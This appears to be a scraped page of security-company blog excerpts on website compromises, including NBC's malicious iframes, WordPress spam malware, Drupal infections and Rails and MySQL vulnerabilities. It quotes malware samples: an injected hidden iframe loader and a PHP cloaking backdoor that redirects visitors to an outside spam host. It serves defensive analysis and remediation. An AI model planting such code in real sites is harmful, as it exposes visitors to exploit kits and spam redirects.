Protect Your Interwebs!
Breaking, the NBC site is currently compromised and blacklisted by Google. Anyone that visits the site (which includes any sub page) will have malicious iframes loaded as well redirecting the user to exploit kits (Redkit):
*Update: Not only NBC.com, but many other NBC sites, including Late Night with Jimmy Fallon, Jay Lenos garage and others.
If you are visiting it from Chrome or Firefox would get the following warning:
We often write about very clear cut cases of malware activity. The attacker is leveraging your traffic, redirecting it to other locations, or injecting things like iFrames in an attempt to perform some type of drive-by-download. These are obviously very clear cut cases of malware and nefarious activities. But what about others?
By others I mean abusing system resources. This can be done through bot networks, spam emails and even using your box as a proxy. None of these are things you’ll ever pick up via any remote scanner as they never present themselves remotely. It’s also why we have to start evolving our ideals and remediation to move beyond the application tier and focus on the web server.
A perfect example is what we came across today.
In this example the attacker has injected a file called gate.php, when you navigate to via your URI you come see this:
Read More
Came across another server compromise this week. Client was complaining that the following kept being injected into their JavaScript files:
document.write("<style.vb4brk { position:absolute; left:-1655px; top:-1476px} </style>
<div class="vb4rk"><iframe
src="httx:// 149.47.154.253/fee1f3119b234cb79f953e92281b12af/q.php" width="231" height="330">
</iframe></div>'); /*!
Fortunately, the client was working off a VPS. Doing so allowed us to dig deeper into the server and better address the issue. Looking at the server we quickly realized that a bad module had been injected. Unfortunately, because this was a Debian distribution, as such you can’t run the commands we provided in our last post.
Read More
Not sure why more emphasis isn’t put on access, but I’ll spend some time on it today. Understand though that this emphasis is not just something pulled out of the clouds. Instead it has come from months of thought and research – courtesy of client environments, enterprise incident handling cases and our own honey pots.
For some reason, what I have gathered, is that website owners, in their minds, think they are really ingenious. We think that what we know, no one else knows; the harsh reality is that’s so far from the truth. The are also those that buy into the idea that information security is an absolute, if only it were. Website owners have to learn to set their expectations, the InfoSec domain is about risk reduction. That is the first thing to understand.
While software vulnerabilities are a real threat, without tangible evidence, I am willing to bet that access is gaining ground on software vulnerabilities more than most realize. Still working on evidence to support this. A good thing to remember is that as a product becomes more secure, and the attack vectors decrease, access only increases in importance.
Read More
It seems that SPAM is all the rave these days, wonder why, could it be because it’s a multi-million business?
In any event, detecting is always a challenge as is remediating. This is what it might look like if you use our free scanner to scan the website:
Besides some of the obvious things we have started seeing tactics used on Joomla sites on WordPress ones. They are using things like this:
@require_once(ABSPATH . '/wp-includes/Text/cache.php');
You’ll find this in your wp-config.php file more often than not. If you follow the cookie trail you’ll find that the cache.php contains code like this:
<?php
$uniq_ua_string=@$_SERVER['HTTP_USER_AGENT'];
$uniq_ref=@$_SERVER["HTTP_REFERER"];
$is_human=1;
if (stristr($uniq_ua_string,"googlebot"))$is_human=0;
if (stristr($uniq_ua_string,"bing"))$is_human=0;
if (stristr($uniq_ua_string,"yahoo"))$is_human=0;
if(@$is_human == 0 && preg_match('/^\/(?:index\.(?:php|html?))?$/', @$_SERVER['REQUEST_URI'])) {
@readfile(dirname(__FILE__)."/css.php");
exit;
}
if(preg_match('/viagra/i', $uniq_ref) > 0) {header("Location: http://vaptk.com/in.php?t=v&s=1");exit;}
?>
If you follow the trail further and go to the css.php file you’ll find all kinds of goodies that will be of particular interest:
What can I say, sometimes it’s all about following the cookie trail.
When removing be sure to remove the @require_once and the payload as well. The good news is if you’re running our plugin you’ll quickly identify an integrity issue in wp-includes and wp-config that will allow you to quickly act to rectify the issue. Because of the time of injection we’d venture to say that the vector is likely compromised credentials to the server, likely via FTP.
Any questions let us know.
As always, the year is kicking off with a bang. This is a public service announcement to get the word out on a very serious vulnerability found, and patched, on the Ruby on Rails application. It’s estimated that there are some 250k + websites using the application so it’s important the word gets out.
On January 8th a very serious vulnerability was released for the Ruby on Rails application. A number of proof of concepts (PoC) on how to exploit, demonstrating the seriousness have been posted on several forums and blogs. One of the better ones is on Ronin blog. The issues comes down to the parameter parsing component of the application, it contains a weakness that allows an attacker to bypass authentication systems, inject and execute arbitrary code and perform denial of service (DoS) attacks on any Ruby application.
It’s important to note that this vulnerability has since been patched and it’s imperative that if you’re using the Ruby on Rails application you update immediately.
The one attack vector that stands out from the rest is the arbitrary injection and execution of code at the server level. This means that the threat goes beyond your application and has the potential to penetrate further into your infrastructure and / or impact any neighboring applications that may not be built on Ruby on Rails. Instead of drafting the reasons this is so serious I’ll reference another good post that articulates and summarizes the issue well, on Code Climate:
Threat Agents: Anyone who is able to make HTTPs request to your Rails application.
Exploitability: Easy — Proof of concepts in the wild require only the URL of the application to attack a Ruby code payload.
Prevalence: Widespread — All Rails versions prior to those released on Tuesday are vulnerable.
Detectability: Easy — No special knowledge of the application is required to test it for the vulnerability, making it simple to perform automated spray-and-pray scans.
Technical Impacts: Severe — Attackers can execute Ruby (and therefore shell) code at the privilege level of the application process, potentially leading to host takeover.
Business Impacts: Severe — All of your data could be stolen and your server resources could be used for malicious purposes. Consider the reputation damage from these impacts.
Many folks are unfamiliar with the Drupal CMS, it doesn’t enjoy the popularity that some others do like WordPress and Joomla, but its a powerful CMS none the less. What it does have in common with its counterparts is that its susceptible to attacks and infections. We don’t often write about it, but we do work on the platform. We decided to give it some attention this week because of the increased number of Drupal infections we’re seeing.
They’re slightly different when compared to other CMS applications and so is the remediation process. In this post we’ll show an infection that seems to be all the craze this week, findings courtesy of Fioravante Souza – one of Sr Malware Engineers.
Most of the sites infected with this payload are also accompanied by other iframe injections. Those iframe injections are not special, they are often attached to every file – PHP, JS, HTML, and beging with document.write and reference some file like cgi?5 or cfg?11. If you have some terminal sense you should be able to find them and remove them, if you need help you can always use our free scanner, it’ll display any payloads hitting the readers browser. Here is the payload though that we were most interested in as it was obfuscated and very painful to find and remove.
Read More
This past week we have seen a sharp increase in the use of old tactics designed to poison your search engine results – also known as Search Engine Poisoning (SEP) attacks. If you use our free scanner, SiteCheck, you’ll likely see something like the following:
You’re probably wondering, what the heck, how is that SEO SPAM? Allow me to explain what this is doing.
Read More
A common feature our clients have been asking us for a long time is the ability to monitor their sites more frequently. For some high profile sites, scans every 6 hours is not enough.
Today we are happy to announce that we added the Sucuri Rapid+ Monitoring option to allow our customers to decrease their monitoring frequency down to every 30 minutes.
Read More
So it looks like we’re closing out the year in style in 2012. This weekend a number of new, very serious, zero-day vulnerabilities were released for a number of very popular applications – MySQL, FreeSSH, Free FTPD.
MySQL
FTPD
>FreeSSHD
Of the three, the most concerning is obviously MySQL. If you listen to any of our security presentations you know that your application is but one piece of the puzzle, and you environment is a critical component of that puzzle too.
MySQL is integral to any LAMP based application – LAMP = Linux, Apache, MySQL, PHP – this includes many open source content management systems (CMS) like WordPress, Joomla, Drupal, Magento, osCommerce and many more. This is exceptionally dangerous to those environments in which MySQL is being published (i.e., not bound to itself or it’s port open) to the world and applies to VPS and Shared environments alike.
Comments